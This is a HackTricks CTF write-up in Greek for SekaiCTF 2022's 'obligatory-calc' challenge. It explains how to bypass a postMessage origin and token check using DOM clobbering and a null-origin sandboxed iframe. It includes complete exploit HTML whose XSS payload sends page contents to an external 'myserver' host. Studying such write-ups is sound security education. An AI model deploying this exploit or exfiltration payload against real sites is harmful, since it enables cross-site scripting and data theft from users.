hacktricks/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

81 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassing SOP with Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-2
Στη [**λύση**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) για αυτήν την [**πρόκληση**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) προτείνει μια παρόμοια μέθοδο με την προηγούμενη ενότητα. Ας το ελέγξουμε.
Σε αυτήν την πρόκληση, ο επιτιθέμενος πρέπει να **bypass** αυτό:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Αν το κάνει, μπορεί να στείλει ένα **postmessage** με περιεχόμενο HTML που θα γραφτεί στη σελίδα με **`innerHTML`** χωρίς καθαρισμό (**XSS**).
Ο τρόπος για να παρακάμψετε τον **πρώτο έλεγχο** είναι να κάνετε το **`window.calc.contentWindow`** **`undefined`** και το **`e.source`** **`null`**:
- **`window.calc.contentWindow`** είναι στην πραγματικότητα **`document.getElementById("calc")`**. Μπορείτε να καταστρέψετε το **`document.getElementById`** με **`<img name=getElementById />`** (σημειώστε ότι το Sanitizer API -[εδώ](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- δεν είναι ρυθμισμένο για να προστατεύει από επιθέσεις DOM clobbering στην προεπιλεγμένη του κατάσταση).
- Επομένως, μπορείτε να καταστρέψετε το **`document.getElementById("calc")`** με **`<img name=getElementById /><div id=calc></div>`**. Τότε, το **`window.calc`** θα είναι **`undefined`**.
- Τώρα, χρειαζόμαστε το **`e.source`** να είναι **`undefined`** ή **`null`** (επειδή χρησιμοποιείται το `==` αντί για το `===`, **`null == undefined`** είναι **`True`**). Το να το αποκτήσετε είναι "εύκολο". Αν δημιουργήσετε ένα **iframe** και **στείλετε** ένα **postMessage** από αυτό και αμέσως **αφαιρέσετε** το iframe, το **`e.origin`** θα είναι **`null`**. Ελέγξτε τον παρακάτω κώδικα
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
Για να παρακαμφθεί ο **δεύτερος έλεγχος** σχετικά με το token, στέλνουμε **`token`** με τιμή `null` και κάνουμε την τιμή **`window.token`** **`undefined`**:
- Η αποστολή του `token` στο postMessage με τιμή `null` είναι απλή.
- **`window.token`** κατά την κλήση της συνάρτησης **`getCookie`** που χρησιμοποιεί **`document.cookie`**. Σημειώστε ότι οποιαδήποτε πρόσβαση στο **`document.cookie`** σε σελίδες με προέλευση **`null`** προκαλεί ένα **σφάλμα**. Αυτό θα κάνει την τιμή του **`window.token`** να είναι **`undefined`**.
Η τελική λύση από [**@terjanq**](https://twitter.com/terjanq) είναι η [**εξής**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}